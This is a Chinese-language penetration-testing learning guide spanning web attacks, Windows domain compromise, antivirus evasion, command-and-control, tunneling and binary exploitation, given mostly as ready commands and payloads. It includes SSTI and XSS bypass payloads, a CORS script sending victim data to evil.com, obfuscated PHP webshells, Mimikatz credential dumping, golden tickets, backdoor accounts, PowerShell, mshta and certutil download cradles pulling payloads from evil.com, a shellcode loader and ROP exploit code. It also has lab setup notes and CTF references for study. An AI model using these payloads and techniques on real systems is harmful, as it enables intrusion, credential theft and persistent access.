| John the Ripper | 哈希破解 | 经典CPU哈希破解 |
# Hydra 爆破示例
hydra -l root -P passwords.txt ssh://192.168.1.100 # SSH 爆破
hydra -L users.txt -P pass.txt 192.168.1.100 rdp # RDP 爆破
hydra -l admin -P pass.txt 192.168.1.100 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=incorrect" # Web表单爆破
# Hashcat 破解哈希
hashcat -m 0 hashes.txt wordlist.txt # MD5
hashcat -m 1000 hashes.txt wordlist.txt # NTLM
hashcat -m 1800 hashes.txt wordlist.txt # SHA-512 (Linux shadow)
目录与子域名扫描
# 目录/文件扫描
dirsearch -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target.com -w wordlist.txt -x php,txt,bak
# 子域名扫描
sublist3r -d target.com
amass enum -d target.com
本地靶场(Docker 部署)
# 快速部署靶场
docker run -d -p 80:80 vulnerables/web-dvwa # DVWA
docker run -d -p 80:80 acgpiano/sqli-labs # SQLi-Labs
# Vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
在线练习平台
| 平台 | 特点 | 难度 |
|---|---|---|
| Bugku CTF | 国内最大 CTF 练习平台之一 | ⭐⭐ |
| 攻防世界 | 赛宁平台,题目分类全 | ⭐⭐⭐ |
| CTFtime | 全球 CTF 赛事汇总+题库 | ⭐⭐⭐⭐ |
| HackTheBox | 全球最火靶机平台,模拟真实环境 | ⭐⭐⭐⭐ |
| TryHackMe | 引导式学习,适合零基础 | ⭐⭐ |
| PortSwigger Web Academy | Burp 官方免费 Web 安全实验室 | ⭐⭐⭐ |
| VulnHub | 下载靶机镜像本地练习 | ⭐⭐⭐ |
OWASP Top 10 是 Web 安全的官方权威风险排名,每年更新。以下是最新的 2021 版与学习路线的对应关系。
| 排名 | 漏洞类别 | 说明 | 对应学习内容 |
|---|---|---|---|
| A01 | 访问控制失效 | 越权访问、强制浏览、权限绕过 | 逻辑漏洞 - 越权访问 |
| A02 | 加密失败 | 明文传输、弱加密算法、密钥泄露 | HTTPS/SSL/TLS 配置 |
| A03 | 注入 | SQL注入、NoSQL注入、命令注入、LDAP注入 | ①SQL注入 ⑥RCE |
| A04 | 不安全设计 | 缺少安全设计模式、业务逻辑缺陷 | 逻辑漏洞 |
| A05 | 安全配置错误 | 默认配置、目录列举、错误信息泄露 | 服务器加固 |
| A06 | 易受攻击的组件 | 使用了有漏洞的第三方库/框架 | 反序列化、组件CVE |
| A07 | 身份认证失败 | 弱口令、会话固定、爆破 | 密码爆破、会话管理 |
| A08 | 软件和数据完整性故障 | 不安全反序列化、CI/CD 安全 | ⑩反序列化漏洞 |
| A09 | 安全日志监控失效 | 缺少日志、无告警、无溯源 | 安全运维-日志审计 |
| A10 | 服务端请求伪造(SSRF) | 服务器发起非预期请求 | ⑦SSRF 漏洞 |
SSTI 服务端模板注入
高危 当服务端使用模板引擎(Jinja2/Twig/Freemarker/Velocity)且未对用户输入过滤时,攻击者可注入模板指令实现 RCE。
| 模板引擎 | 语言 | 检测 Payload | RCE Payload |
|---|---|---|---|
| Jinja2 | Python(Flask) | {{7*7}} | {{''.__class__.__mro__[1].__subclasses__()}} |
| Twig | PHP(Symfony) | {{7*'7'}} | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| Freemarker | Java | ${7*7} | <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} |
| Velocity | Java | $class.inspect | #set($e="exp")#set($c=$e.class.forName("java.lang.Runtime"))... |
# SSTI 检测流程
# 1. 输入 {{7*7}} → 返回 49 → Jinja2/Twig
# 2. 输入 ${7*7} → 返回 49 → Freemarker/Velocity
# 3. 输入 #{7*7} → 返回 49 → Ruby ERB
# Jinja2 RCE 完整链(Flask 最常见)
# 找到 os._wrap_close 或其他可执行命令的类
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()}}
# tplmap 自动化 SSTI 检测
python tplmap.py -u "http://target.com/?name=test"
python tplmap.py -u "http://target.com/" --data "name=test" --os-shell
CORS 跨域资源共享漏洞
中高危 当服务器配置 Access-Control-Allow-Origin: * 且 Access-Control-Allow-Credentials: true 时,任意网站可跨域读取受害者数据。
# 漏洞场景
# 服务端响应头:
Access-Control-Allow-Origin: https://evil.com # 允许任意来源
Access-Control-Allow-Credentials: true # 允许携带Cookie
# 攻击者在 evil.com 部署:
<script>
fetch("https://victim.com/api/profile", {credentials: "include"})
.then(r=>r.json()).then(d=>{
// 窃取受害者数据发送到攻击者服务器
fetch("https://evil.com/collect?data="+JSON.stringify(d))
});
</script>
Web 缓存欺骗
中危 利用缓存服务器和源站对 URL 路径解析不一致,将用户私有页面缓存到公共缓存中。
# 攻击示例
# 正常URL: https://bank.com/account.php → 私有内容(不缓存)
# 恶意URL: https://bank.com/account.php/test.css → 缓存服务器认为是静态资源(.css)进行缓存
# ↑ 源站忽略 /test.css 仍返回 account.php 内容
# 攻击者诱导受害者访问恶意URL,缓存被保存,攻击者再访问即可获取受害者数据
SQL 注入绕过技巧
| 技巧 | 原理 | 示例 |
|---|---|---|
| 大小写混写 | WAF 通常不区分大小写但匹配可能区分 | UnIoN SeLeCt |
| 注释绕过 | 利用各种注释符 | UN/**/ION SEL/**/ECT |
| 编码绕过 | URL/Hex/Unicode 编码 | %55NION %53ELECT |
| 内联注释 | MySQL /*!50000UNION*/ | /*!50000UNION*//*!50000SELECT*/ |
| 等价函数 | 用等价函数替代被过滤的 | updatexml→extractvalue, substr→mid |
| 空格绕过 | 用其他字符替代空格 | %09 %0a %0b %0c %0d /**/ |
| 关键字双写 | WAF 替换后还原 | UNUNIONION → UNION |
| 分块传输 | Transfer-Encoding: chunked | 分块绕过内容匹配 |
| HPP | HTTP 参数污染 | ?id=1&id=UNION SELECT 1,2,3 |
| 宽字节 | GBK 编码吃掉转义 | %df' → 吃掉 \ |
XSS 绕过 WAF 技巧
# 标签变异
<scr<script>ipt>alert(1)</scr<script>ipt> # 嵌套绕过
<svg/onload=alert(1)> # 不用空格
<img src=x:alert(alt) onerror=eval(src)> # 利用属性
<details/open/ontoggle=alert(1)> # HTML5 标签
<body/onload=alert(1)> # body 标签
# 编码绕过
<script>eval(atob('YWxlcnQoMSk='))</script> # Base64
<script>eval(String.fromCharCode(97,108,...))</script> # 字符码
<img src=x onerror=alert(1)> # HTML 实体编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script> # Unicode 编码
# 长度限制绕过(利用外部加载)
<script src=//evil.com/x.js></script> # 外部加载 payload
<svg><script href=//evil.com/x.js /> # SVG 加载
通用 WAF 绕过思路
- 协议层:HTTP/2 协议差异、分块传输编码、Content-Type 切换、请求方法变换 (GET↔POST)
- 应用层:编码组合、大小写混写、注释插入、等价替换、参数污染
- 架构层:利用源站直连 IP、CDN 回源绕过、同网段内网直连、IP 轮换
- 资源层:超大请求体耗尽 WAF 内存、超长 URL 截断、大量参数混淆
- 时间层:延迟请求、分多次发送 payload
拿到 Web 漏洞后,通常需要上传 WebShell 来维持权限和进一步操作。以下是三大主流 WebShell 管理工具。
常见 WebShell 一句话
# PHP 一句话木马(经典)
<?php @eval($_POST['cmd']); ?> # 最基础
<?php @assert($_POST['cmd']); ?> # assert 版
<?php call_user_func('assert', $_POST['cmd']); ?>
<?php preg_replace_callback("/.*/e", 'assert', $_POST['cmd']); ?>
# 免杀变形
<?php
$f='base'.'64_de'.'code';
$f("ZXZhbCgkX1BPU1RbJ2NtZCddKQ=="); # base64(eval($_POST['cmd']))
?>
# JSP 一句话
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# ASP 一句话
<%eval request("cmd")%>
WebShell 免杀技巧
- 字符串拼接:拆分关键字绕过特征匹配
- 动态调用:
$a='assert';$a($_POST['x']); - 加密传输:蚁剑/冰蝎默认加密通信流量
- 修改文件头:添加 GIF89a 伪装为图片
- .htaccess:让图片文件当 PHP 执行
- 内存马:不落地文件,驻留在进程内存中(Java Agent 内存马)
渗透测试的第一步永远是信息收集。信息收集越充分,攻击面就越大。
信息收集维度
| 维度 | 内容 | 工具/方法 |
|---|---|---|
| 域名/子域名 | 主域名、子域名、历史解析 | subfinder, amass, OneForAll, crt.sh |
| IP/端口 | CDN 真实 IP、开放端口 | masscan, nmap, fscan |
| 指纹识别 | Web 框架、CMS、中间件 | whatweb, wappalyzer, httpx, Finger |
| 目录/文件 | 后台、配置文件、备份文件 | dirsearch, gobuster, ffuf |
| 漏洞历史 | 历史 CVE、已公开漏洞 | searchsploit, nuclei, FOFA |
| 人员信息 | 员工、邮箱、职务(社工/钓鱼) | LinkedIn, GitHub, Hunter.io |
FOFA / Shodan 资产测绘
# FOFA 搜索语法
title="后台" country=CN # 标题包含"后台"的中国站点
body="Powered by WordPress" # 页面包含特定字符串
header="JSESSIONID" # 响应头包含
port="6379" && body="redis_version" # 开放 Redis 的主机
app="Apache-Log4j" # 特定应用
cert="target.com" # SSL 证书包含域名
# Shodan 搜索语法
port:3389 country:"CN" # 中国开放 RDP 的主机
product:"Apache" version:"2.4.49" # 特定版本 Apache(可能有CVE)
org:"Microsoft" # 特定组织
vuln:CVE-2021-44228 # 存在 Log4j2 漏洞的主机
目录扫描进阶
# 常用字典
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# dirsearch
dirsearch -u http://target.com -e php,txt,bak,zip -t 50
dirsearch -u http://target.com -w custom.txt --random-agent
# ffuf(高速 fuzzing)
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,403
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
# vhost 爆破子域名
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 423
# 常见敏感文件
# /.git/config .svn/entries .DS_Store web.config
# /backup.zip /www.zip /database.sql /config.php.bak
# /phpinfo.php /test.php /debug.php /server-status
# /robots.txt /sitemap.xml /crossdomain.xml
Windows 内网基础
| 概念 | 说明 |
|---|---|
| 工作组 Workgroup | 对等网络,每台机器独立管理账户 |
| 域 Domain | 集中管理网络,所有认证由域控统一处理 |
| 域控制器 DC | 域的核心服务器,存储所有账户密码(NTLM 哈希) |
| 活动目录 AD | 域的目录服务数据库,存储所有对象信息 |
| GPO 组策略 | 集中下发配置和安全策略,也可用于攻击 |
| Kerberos | 域认证协议,票据攻击的核心 |
信息收集
# 本机基本信息
whoami /all # 当前用户完整信息
hostname # 主机名
ipconfig /all # 网络配置
systeminfo # 系统信息(补丁→提权依据)
net user # 本机用户列表
net localgroup administrators # 本地管理员组成员
netstat -ano # 网络连接
# 域信息收集
net view /domain # 查看所有域
net group /domain # 域内所有组
net group "domain admins" /domain # 域管理员列表(重要目标!)
net group "domain controllers" /domain # 域控列表
nltest /dclist:domain # 获取域控地址
# 存活主机探测
arp -a # ARP 表(同网段存活主机)
nmap -sn 10.0.0.0/24 # Ping 扫描内网
fscan -h 10.0.0.0/24 # 国产内网综合扫描工具
权限提升
| 方式 | 原理 | 工具/方法 |
|---|---|---|
| 系统漏洞提权 | 利用未打补丁的内核漏洞 | MS16-032, MS17-010, CVE-2020-0787 |
| 服务配置提权 | 服务路径未引用+可写 | PowerUp, BeRoot |
| 注册表提权 | AlwaysInstallElevated=1 | msiexec 安装恶意 msi |
| 令牌窃取 | 窃取高权限进程令牌 | incognito, steal_token |
| Potato 系列 | NTLM 中继提权 | RottenPotato, JuicyPotato, PrintSpoofer |
| UAC 绕过 | 绕过用户账户控制 | UACME, fodhelper |
# 提权辅助
systeminfo > sysinfo.txt
# 上传到 https://i.hacking8.com/ms1799 对比补丁
python wes.py sysinfo.txt # Windows Exploit Suggester
# PowerUp 自动化提权检查
Import-Module PowerUp.ps1
Invoke-AllChecks
凭证抓取
# Mimikatz(神器)
mimikatz # privilege::debug # 提升调试权限
mimikatz # sekurlsa::logonpasswords # 抓取密码/哈希(最常用)
mimikatz # lsadump::sam # 导出 SAM 哈希
mimikatz # lsadump::dcsync /user:krbtgt # DCSync 导出 krbtgt 哈希
mimikatz # kerberos::ptt ticket.kirbi # 注入票据
# lsass 进程 dump
procdump -accepteula -ma lsass.exe lsass.dmp
# 然后用 Mimikatz 离线读取
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
横向移动
| 方式 | 协议/端口 | 说明 |
|---|---|---|
| 永恒之蓝 | SMB/445 | MS17-010,最经典的横向移动方式 |
| PsExec | SMB/445 | 需管理员哈希/密码,远程执行命令 |
| WMI | DCOM/135 | Windows 管理规范远程执行 |
| PTH 哈希传递 | SMB/445 | 用 NTLM 哈希直接认证,不需要明文密码 |
| RDP | RDP/3389 | 远程桌面直接登录 |
| 计划任务 | SMB/445 | at/schtasks 远程创建计划任务 |
# PsExec 横向移动
psexec.exe \\10.0.0.5 -u administrator -p password cmd.exe
psexec.exe \\10.0.0.5 -u administrator -H aad3b... cmd.exe # PTH
# WMI 横向移动
wmic /node:10.0.0.5 /user:admin /password:pass process call create "cmd.exe /c whoami"
# Metasploit 横向
msf6 > use exploit/windows/smb/psexec
msf6 > set SMBUser administrator
msf6 > set SMBPass password # 或哈希
msf6 > exploit
域渗透:黄金票据与白银票据
# 黄金票据攻击流程
# 1. 获取 krbtgt 哈希(需要域控权限)
mimikatz # lsadump::dcsync /user:krbtgt
# 2. 伪造黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:corp.com \
/sid:S-1-5-21-xxx /krbtgt:ntlm_hash /ticket:golden.kirbi
# 3. 注入票据
mimikatz # kerberos::ptt golden.kirbi
# 4. 访问域内任意服务
dir \\dc.corp.com\c$
# BloodHound 域分析(可视化攻击路径)
SharpHound.exe -c All # 收集域信息
# 导入 BloodHound 可视化分析最短攻击路径
权限维持
| 方式 | 说明 |
|---|---|
| 后门账号 | 创建隐藏用户 net user hacker$ pass /add |
| 注册表后门 | Run 键自启动、Image File Execution Options 劫持 |
| 服务后门 | 创建恶意服务 sc create backdoor binpath=... |
| WMI 持久化 | WMI 事件订阅,无文件后门 |
| 计划任务 | 定时执行恶意脚本 |
| 黄金票据 | 域级别持久化,改密码也不掉 |
| WebShell | 留下 Web 后门文件 |
内网工具汇总
Kerberos 认证四步流程
Kerberos 认证流程(域环境核心协议)
Step 1: AS-REQ (客户端 → KDC/DC)
客户端用密码哈希加密预认证数据,向 KDC 请求 TGT 票据
Step 2: AS-REP (KDC → 客户端)
KDC 验证密码哈希,返回 TGT(用 krbtgt 账户哈希加密)
Step 3: TGS-REQ (客户端 → KDC)
客户端拿着 TGT 请求访问某服务的 TGS 票据
Step 4: TGS-REP (KDC → 客户端)
KDC 返回 TGS(用服务账户哈希加密)
Step 5: AP-REQ (客户端 → 服务端)
客户端用 TGS 票据访问目标服务
基于 Kerberos 的攻击手法
| 攻击方式 | 攻击阶段 | 原理 | 工具 |
|---|---|---|---|
| AS-REP Roasting | AS-REP | 对关闭了预认证的用户,直接获取 AS-REP 中的加密数据离线爆破密码 | Rubeus, impacket |
| Kerberoasting | TGS-REP | 请求服务账户的 TGS 票据,离线爆破服务账户密码 | Rubeus, impacket |
| 黄金票据 | 伪造 TGT | 用 krbtgt 哈希伪造 TGT,可访问域内所有服务 | mimikatz |
| 白银票据 | 伪造 TGS | 用服务账户哈希伪造 TGS,只访问特定服务,更隐蔽 | mimikatz |
| 委派攻击 | 委派配置 | 非约束委派/约束委派/基于资源的约束委派 | kekeo, Rubeus |
| S4U2Self/S4U2Proxy | 协议滥用 | 利用约束委派协议代替其他用户访问服务 | impacket |
# AS-REP Roasting(不需要任何权限)
# 找关闭预认证的用户
python GetNPUsers.py corp.com/ -no-pass -usersfile users.txt
# Rubeus 版
Rubeus.exe asreproasting /format:hashcat /outfile:hashes.txt
hashcat -m 18200 hashes.txt wordlist.txt # 破解 AS-REP 哈希
# Kerberoasting(需要普通域用户权限)span>
python GetUserSPNs.py corp.com/user:pass -request
Rubeus.exe kerberoast /outfile:hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt # 破解 TGS 哈希
# 委派攻击检测
python findDelegation.py corp.com/user:pass
# 找到非约束委派 → 获取机器账户权限 → 等待高权限用户访问 → 窃取票据
域渗透攻击链完整流程
# 1. 初始立足点(通过 Web 漏洞或钓鱼)
# → 获取 WebShell 或反弹 Shell
# 2. 本机信息收集
whoami /all # 查看当前用户、权限、SID
systeminfo # 补丁情况
net user /domain # 域用户列表
# 3. 域信息收集
net group "domain admins" /domain # 找域管目标
nltest /dclist:corp.com # 找域控
SharpHound.exe -c All # BloodHound 收集域信息
# 4. 提权
# → 漏洞提权(MS16-032等)→ 获取 SYSTEM 权限
# 5. 凭证抓取
mimikatz # sekurlsa::logonpasswords # 抓明文密码和NTLM哈希
mimikatz # lsadump::sam # SAM 哈希
# 6. 横向移动
# → PTH 横向 → PsExec/WMI 远程执行 → 获取更多机器权限
# 7. 获取域控
# → 拿到域管凭证 → DCSync → 导出所有域用户哈希
mimikatz # lsadump::dcsync /domain:corp.com /all
# 8. 权限维持
mimikatz # kerberos::golden /user:Administrator /domain:corp.com \
/sid:S-1-5-21-xxx /krbtgt:hash /ticket:golden.kirbi # 黄金票据
免杀基本原理
| 检测方式 | 原理 | 绕过方法 |
|---|---|---|
| 静态查杀 | 文件特征码匹配 | 加密/编码/混淆/加壳/分离免杀 |
| 动态查杀 | 行为监控/沙箱检测 | 延迟执行/反沙箱/反调试/白名单利用 |
| 内存查杀 | 扫描进程内存特征 | 内存加载/反射式注入/进程注入 |
| 流量查杀 | 网络通信特征检测 | 加密通信/流量伪装/域前置 |
常见免杀技术
# 1. PowerShell 内存加载(不落地文件)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
# 2. C# 编译为内存加载
# 用 Cobalt Strike 的 execute-assembly 加载 C# 程序
execute-assembly SharpHound.exe -c All
# 3. Shellcode 加载器
# C# 版本
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, 0xe4, ... };
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
# 4. 白名单利用(LOLBins)
# 利用系统签名的合法程序执行恶意代码
mshta http://evil.com/payload.hta # mshta 加载 HTA
rundll32 shell32.dll,Control_RunDLL # rundll32 加载 DLL
regsvr32 /u /s /i:http://evil.com/sct.sct scrobj.dll # regsvr32 加载 Scriptlet
certutil -urlcache -split -f http://evil.com/payload.exe C:\Windows\Temp\sv.exe
# 5. 加壳与混淆
# Veil Framework — 生成免杀 payload
veil use python/meterpreter/rev_tcp
# Shellter — 注入式免杀
shellter --input legit.exe --payload msf --handler rev_tcp
Cobalt Strike 核心操作
# CS 基本概念
# Beacon — 植入受害机的代理(支持 HTTP/HTTPS/SMB/TCP)
# Listener — 监听器(接收 Beacon 回连)
# Malleable C2 — 可定制 C2 流量特征
# 常用命令
beacon> help # 帮助
beacon> shell whoami # 执行系统命令
beacon> execute-assembly Rubeus.exe asreproasting # 加载 C# 工具
beacon> runasadmin # 提权
beacon> hashdump # 导出哈希
beacon> portscan 10.0.0.0/24 # 内网端口扫描
beacon> socks 1080 # 开启 SOCKS 代理
beacon> jump psexec 10.0.0.5 # 横向移动
beacon> spawn to winrm # 派生新 Beacon
代理类型
| 类型 | 方向 | 场景 | 工具 |
|---|---|---|---|
| 正向代理 | 攻击者 → 目标 | 目标可被直连,目标开放端口 | nc, frp |
| 反向代理 | 目标 → 攻击者 | 目标出网但不可直连(最常用) | frp, nps, ligolo |
| 多级代理 | 多跳转发 | 深层内网,需要层层穿透 | frp 级联, SOCKS 链 |
frp 内网穿透
# frps.ini (攻击者 VPS 端配置)
[common]
bind_port = 7000
# 可选:dashboard
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password
# frpc.ini (目标机器端配置)
[common]
server_addr = "VPS_IP"
server_port = 7000
# SOCKS5 代理(穿透整个内网)
[socks5_proxy]
type = tcp
remote_port = 1080
plugin = socks5
# 端口映射(映射特定端口)
[ssh_mapping]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
其他隧道工具
# nps — 轻量内网穿透
./nps install # VPS 端安装
# Web 管理面板默认端口 8080
./npc -server=VPS_IP:8024 -vkey=xxx # 目标端连接
# ligolo — 新型反向隧道(推荐)
# VPS 端
ligolo_proxy -selfcert
# 目标端
ligolo_agent -connect VPS_IP:11601 -ignore-cert
# SSH 隧道(利用已有 SSH 权限)
# 本地转发:将远程端口映射到本地
ssh -L 8080:内网目标:80 user@跳板机
# 动态转发:SOCKS 代理
ssh -D 1080 user@跳板机
# 远程转发:反向连接
ssh -R 1080 user@攻击者IP
# ICMP/DNS 隧道(极端情况出网限制)
dnscat2 # DNS 隧道
icmp-tunnel # ICMP 隧道
Windows 权限模型
| 概念 | 说明 |
|---|---|
| SID | 安全标识符,每个用户/组/计算机/服务都有唯一 SID |
| Access Token | 进程的"身份证",包含用户 SID、组 SID、特权列表 |
| ACL | 访问控制列表,定义谁可以访问什么资源 |
| Integrity Level | 完整性级别:Low → Medium → High → System |
| UAC | 用户账户控制,限制 High 级别需要确认 |
关键特权(Token Privileges)
| 特权名 | 作用 | 提权利用 |
|---|---|---|
SeDebugPrivilege | 调试任意进程 | 注入 SYSTEM 进程窃取令牌 |
SeImpersonatePrivilege | 模拟客户端身份 | Potato 系列提权 |
SeAssignPrimaryTokenPrivilege | 分配进程令牌 | 配合 SeImpersonate 提权 |
SeBackupPrivilege | 备份文件(绕过 ACL) | 读取 SAM/SYSTEM 注册表 |
SeRestorePrivilege | 恢复文件(绕过 ACL) | 写入任意目录 |
SeTakeOwnershipPrivilege | 获取对象所有权 | 获取任意文件所有权 |
SeLoadDriverPrivilege | 加载驱动 | 加载恶意内核驱动 |
SeTcbPrivilege | 作为操作系统的一部分 | 最高特权之一 |
令牌窃取提权
# Meterpreter 令牌窃取
meterpreter> getuid # 查看当前权限
meterpreter> getprivs # 查看当前特权
meterpreter> ps # 列出进程
# 找到 SYSTEM 进程(如 wininit.exe)
meterpreter> steal_token <PID> # 窃取令牌
meterpreter> getuid # 现在是 SYSTEM
# incognito 令牌操作
incognito> list_tokens -u # 列出可用令牌
incognito> impersonate_user DOMAIN\\Administrator
汇编语言基础
| 寄存器 (x86) | 用途 |
|---|---|
EAX/RAX | 累加器,函数返回值 |
EBX/RBX | 基址寄存器 |
ECX/RCX | 计数器,循环/字符串操作 |
EDX/RDX | 数据寄存器 |
ESI/EDI | 源/目标索引,字符串操作 |
EBP/RBP | 基址指针,标记栈帧 |
ESP/RSP | 栈指针,指向栈顶 |
EIP/RIP | 指令指针,下一条要执行的指令地址(控制流劫持目标) |
; 常见汇编指令
mov eax, 1 ; eax = 1
push ebp ; 把 ebp 压入栈
pop eax ; 从栈顶弹出到 eax
call function ; 调用函数
ret ; 返回
cmp eax, 0 ; 比较
jz label ; 零则跳转
nop ; 空操作
lea eax, [ebx+4] ; 加载有效地址
堆栈结构
栈内存布局(高地址在上,低地址在下)
┌──────────────────┐ ← 高地址
│ 函数参数 │
├──────────────────┤
│ 返回地址 (EIP) │ ← 缓冲区溢出覆盖目标!
├──────────────────┤
│ 保存的 EBP │
├──────────────────┤ ← EBP 指向这里
│ 局部变量/缓冲区 │ ← 溢出起点
├──────────────────┤ ← ESP 指向这里(低地址)
PE 文件结构 (Windows)
| 结构 | 说明 |
|---|---|
| DOS Header | MZ 头,最开头的 64 字节 |
| PE Header | PE 文件标识和基本信息 |
| Section Table | 节表,描述各节属性 |
.text | 代码段(可执行) |
.data | 已初始化数据 |
.rdata | 只读数据(字符串常量) |
.rsrc | 资源段(图标/对话框) |
.import | 导入表(调用的外部函数) |
.export | 导出表(DLL 提供的函数) |
调试工具
脱壳技术
| 壳类型 | 难度 | 脱壳方法 |
|---|---|---|
| UPX | ⭐ | upx -d file.exe 一键脱壳 |
| ASPack | ⭐⭐ | ESP 定律法/内存转储 |
| VMProtect (VMP) | ⭐⭐⭐⭐⭐ | 虚拟化壳,极难脱壳 |
| Enigma Protector | ⭐⭐⭐⭐ | 需分析反调试+内存转储 |
| Themida | ⭐⭐⭐⭐⭐ | 商业级壳,多层保护 |
# 脱壳基本思路
# 1. 寻找 OEP (Original Entry Point) — 原始入口点
# 2. 在 OEP 处 dump 内存
# 3. 修复 IAT (Import Address Table)
# 常用工具
# PEiD — 查壳类型
# DIE (Detect It Easy) — 高级查壳工具
# Scylla — IAT 修复工具
恶意样本分析
| 分析类型 | 方法 | 工具 |
|---|---|---|
| 静态分析 | 不运行样本,分析文件结构/字符串/API | IDA, strings, PEview, DIE |
| 动态分析 | 在沙箱中运行样本观察行为 | Sandboxie, Cuckoo, Process Monitor |
| 行为分析 | 监控文件/注册表/网络变化 | ProcMon, RegShot, Wireshark |
| 内存分析 | 分析进程内存中的数据 | Volatility, Rekall |
缓冲区溢出漏洞
// 经典栈溢出漏洞代码 (C)
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); // 无长度检查!可溢出覆盖返回地址
}
// 攻击 payload 结构:
// [填充字节64个] + [保存的EBP4个] + [覆盖返回地址] + [shellcode]
// ↑ 控制执行流跳转到 shellcode
ELF 文件结构 (Linux)
| 结构 | 说明 |
|---|---|
| ELF Header | 文件标识 \x7fELF、架构、入口地址 |
| Program Header | 描述段(Segment)信息,用于加载器映射内存 |
| Section Header | 描述节(Section)信息,用于链接和调试 |
.text | 代码段(可执行) |
.rodata | 只读数据(字符串常量) |
.data | 已初始化全局变量 |
.bss | 未初始化全局变量 |
.got / .got.plt | 全局偏移表(GOT 劫持目标) |
.plt | 过程链接表(延迟绑定) |
GDB + pwndbg 常用命令
# 启动
gdb ./binary # 加载程序
gdb -q ./binary # 安静模式
# 断点
b main # 在 main 设断点
b *0x401234 # 在地址设断点
b vuln_func # 在函数设断点
delete 1 # 删除断点1
info breakpoints # 查看断点
# 运行与控制
r # 运行程序
r < input.txt # 从文件输入(测试payload)
n # 单步(不进入函数)
s # 单步(进入函数)
c # 继续运行
finish # 运行到函数返回
# 查看
x/20x $esp # 查看栈 20 个 16 进制
x/20x $eip # 查看指令
x/s 0x404010 # 查看字符串
info registers # 查看寄存器
stack 30 # pwndbg 查看栈
vmmap # 查看内存映射
# 高级
checksec # 查看保护机制
cyclic 100 # 生成 pattern
cyclic -l 0x6261 # 找偏移量
ropper --file ./binary # 查找 ROP gadget
one_gadget ./binary # 查找 one_gadget
pwntools 使用
from pwn import *
# 连接
p = process("./vuln") # 本地
p = remote("target.com", 9999) # 远程
# 发送与接收
p.sendline(b"hello") # 发送一行
p.send(b"payload") # 发送原始数据
p.recvuntil(b"Enter: ") # 接收直到匹配
p.recvline() # 接收一行
p.interactive() # 交互模式(获取 Shell)
# 溢出利用
payload = b"A" * 44 # 填充到返回地址
payload += p32(0x08048520) # 覆盖返回地址为后门函数
p.sendline(payload)
# 构造 ROP 链
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
bin_sh = next(elf.search(b"/bin/sh"))
system = elf.plt["system"]
rop.system(bin_sh)
payload = fit({44: rop.chain()})
p.sendline(payload)
# 格式化字符串漏洞
p.sendline(b"%p." * 10) # 泄露栈数据
p.sendline(b"%7$s".encode() + p32(elf.got["puts"])) # 任意读
p.sendline(b"%7$n".encode() + p32(target_addr)) # 任意写
ROP 链技术 (Return-Oriented Programming)
当 DEP/NX 开启后,栈上的 shellcode 无法执行。ROP 通过拼接程序中已存在的代码片段(gadget)实现任意功能。
# ROP 基本原理
# gadget = 以 ret 结尾的一小段指令
# 例如:pop eax; ret → 将栈顶值弹入 eax
# 构造 execve("/bin/sh", 0, 0) 的 ROP 链
payload = b"A" * 44 # 填充
payload += p32(pop_eax_ret) # gadget: pop eax; ret
payload += p32(0xb) # eax = 11 (execve syscall)
payload += p32(pop_ebx_ret) # gadget: pop ebx; ret
payload += p32(bin_sh_addr) # ebx = "/bin/sh" 地址
payload += p32(pop_ecx_ret) # gadget: pop ecx; ret
payload += p32(0) # ecx = 0
payload += p32(pop_edx_ret) # gadget: pop edx; ret
payload += p32(0) # edx = 0
payload += p32(int_0x80) # int 0x80 → 触发 syscall
格式化字符串漏洞
// 漏洞代码
printf(input); // 用户输入直接作为格式化字符串
# 信息泄露
# %p 泄露栈数据,%x 泄露十六进制
input = "%p." * 20 # 泄露栈上 20 个值
input = "%7$s" + p32(target_addr) # 读任意地址
# 任意写
# %n 将已输出字节数写入参数指向的地址
input = "AAAA%7$n" + p32(target_addr) # 写 4 到 target_addr
# %hhn 写单字节,%hn 写双字节
# pwntools 自动化
fmt = FmtStr(execute_fmt, offset=7)
fmt.write(target_addr, 0xdeadbeef)
fmt.execute()
堆漏洞利用
| 漏洞类型 | 原理 | 利用手法 |
|---|---|---|
| Heap Overflow | 堆溢出覆盖相邻堆块元数据 | Unlink 攻击、House of 系列 |
| Use-After-Free (UAF) | 释放后仍引用已释放的堆块 | Fastbin Attack、Tcache Attack |
| Double Free | 同一堆块被释放两次 | Fastbin Dup、Tcache Dup |
| Heap Feng Shui | 构造特定堆布局 | 排列堆块使溢出精确覆盖目标 |
现代防护机制与绕过
| 防护 | 原理 | 绕过方法 |
|---|---|---|
| NX/DEP | 数据段不可执行 | ROP 链、ret2libc |
| ASLR | 地址空间随机化 | 信息泄露绕过、partial overwrite |
| Stack Canary | 栈上随机值检测溢出 | 泄露 Canary、格式化字符串泄露 |
| PIE | 程序代码段随机化 | 泄露代码段地址 |
| RELRO | GOT 只读 | Partial RELRO 时仍可改 GOT |
| CFG | 控制流完整性保护 | 利用合法间接调用 |
# checksec 查看保护
checksec ./binary
# 输出示例:
